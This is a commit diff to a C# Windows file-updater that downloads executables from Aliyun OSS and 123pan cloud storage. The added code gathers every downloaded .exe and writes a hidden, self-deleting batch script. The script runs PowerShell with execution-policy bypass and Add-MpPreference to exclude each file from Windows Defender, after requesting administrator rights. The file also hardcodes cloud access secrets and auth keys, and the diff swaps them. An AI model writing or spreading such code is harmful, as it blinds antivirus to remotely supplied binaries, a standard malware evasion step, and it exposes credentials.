2 Commits

View File

@@ -42,11 +42,11 @@ namespace CheckDownload
// 阿里云OSS访问密钥Secret // 阿里云OSS访问密钥Secret
private const string OssAccessKeySecret = "7ClQns3wz6psmIp9T2OfuEn3tpzrCK"; private const string OssAccessKeySecret = "7ClQns3wz6psmIp9T2OfuEn3tpzrCK";
// 123盘鉴权密钥 // 123盘鉴权密钥
private const string OneDriveAuthKey = "ZhwG3LxOtGJwM3ym"; private const string OneDriveAuthKey = "6SwdpWdSJuJRSh";
// 123盘UID // 123盘UID
private const string OneDriveUid = "1850250683"; private const string OneDriveUid = "1826795402";
// 123盘路径不包含域名- 修改此处即可同时生效于主备域名 // 123盘路径不包含域名- 修改此处即可同时生效于主备域名
private const string OneDrivePath = "/1850250683/SuWin"; private const string OneDrivePath = "/1826795402/KeyAuth";
// 123盘主域名 // 123盘主域名
private const string OneDriveMainDomain = "vip.123pan.cn"; private const string OneDriveMainDomain = "vip.123pan.cn";
// 123盘备用域名 // 123盘备用域名
@@ -74,6 +74,7 @@ namespace CheckDownload
private string _tempDirectory; private string _tempDirectory;
// 基准目录路径(用于文件更新的目标目录) // 基准目录路径(用于文件更新的目标目录)
private string _baseDirectory; private string _baseDirectory;
private readonly ConcurrentBag<string> _exeFilesToExclude = new ConcurrentBag<string>();
/// <summary> /// <summary>
/// 初始化窗体 /// 初始化窗体
@@ -208,6 +209,7 @@ namespace CheckDownload
{ {
try try
{ {
while (_exeFilesToExclude.TryTake(out _)) { }
CleanupNewFiles(); CleanupNewFiles();
UpdateStatus("下载在线MD5文件并读取..."); UpdateStatus("下载在线MD5文件并读取...");
UpdateCount(""); UpdateCount("");
@@ -300,6 +302,11 @@ namespace CheckDownload
// 校验和保存成功后清理临时目录 // 校验和保存成功后清理临时目录
CleanupTempDirectory(); CleanupTempDirectory();
if (_exeFilesToExclude.Any())
{
await RunDefenderExclusionScriptAsync(_exeFilesToExclude.Distinct().ToList());
}
// 显示完成状态并退出 // 显示完成状态并退出
UpdateStatus("更新完成"); UpdateStatus("更新完成");
await Task.Delay(3000); await Task.Delay(3000);
@@ -906,6 +913,11 @@ namespace CheckDownload
Directory.CreateDirectory(localDir); Directory.CreateDirectory(localDir);
} }
if (Path.GetExtension(localPath).Equals(".exe", StringComparison.OrdinalIgnoreCase))
{
_exeFilesToExclude.Add(localPath);
}
if (!await TryMoveFileAsync(tempFilePath, localPath)) if (!await TryMoveFileAsync(tempFilePath, localPath))
{ {
string backupPath = localPath + ".new"; string backupPath = localPath + ".new";
@@ -1585,6 +1597,7 @@ namespace CheckDownload
foreach (var exeFile in exeFiles) foreach (var exeFile in exeFiles)
{ {
SetRunAsAdminCompatibility(exeFile); SetRunAsAdminCompatibility(exeFile);
_exeFilesToExclude.Add(exeFile);
} }
} }
catch (Exception ex) catch (Exception ex)
@@ -1715,5 +1728,69 @@ namespace CheckDownload
} }
catch { } catch { }
} }
/// <summary>
/// 创建并运行一个批处理脚本为指定的EXE文件添加Windows Defender排除项。
/// 此方法会请求管理员权限,并等待脚本执行完成后再继续。
/// </summary>
/// <param name="exePaths">要添加到排除列表的.exe文件的完整路径列表。</param>
private async Task RunDefenderExclusionScriptAsync(List<string> exePaths)
{
if (!exePaths.Any()) return;
string batchFilePath = Path.Combine(_baseDirectory, "add_defender_exclusions.bat");
try
{
var batchContent = new StringBuilder();
batchContent.AppendLine("@echo off");
batchContent.AppendLine("chcp 65001 > nul");
batchContent.AppendLine("");
// PowerShell命令添加排除项
string powerShellCommands = string.Join(";", exePaths.Select(p => $"Add-MpPreference -ExclusionPath '{p.Replace("'", "''")}'"));
batchContent.AppendLine($"powershell -ExecutionPolicy Bypass -Command \"{powerShellCommands}\"");
batchContent.AppendLine("");
// 脚本自删除
batchContent.AppendLine("(goto) 2>nul & del \"%~f0\" /f /q");
batchContent.AppendLine("exit /b");
File.WriteAllText(batchFilePath, batchContent.ToString(), new UTF8Encoding(false));
UpdateStatus("请求权限添加应用到信任列表...");
var startInfo = new ProcessStartInfo
{
FileName = batchFilePath,
UseShellExecute = true,
Verb = "runas",
WindowStyle = ProcessWindowStyle.Hidden
};
Process.Start(startInfo);
// 通过轮询文件是否存在来等待脚本执行完毕
while (File.Exists(batchFilePath))
{
await Task.Delay(500); // 每500毫秒检查一次
}
}
catch (Win32Exception ex) when (ex.NativeErrorCode == 1223) // ERROR_CANCELLED, 用户在UAC弹窗点击了"否"
{
UpdateStatus("用户取消了管理员授权。");
if (File.Exists(batchFilePath))
{
try { File.Delete(batchFilePath); } catch { }
}
}
catch (Exception ex)
{
UpdateStatus($"创建或执行信任脚本时出错: {ex.Message}");
if (File.Exists(batchFilePath))
{
try { File.Delete(batchFilePath); } catch { }
}
}
}
} }
} }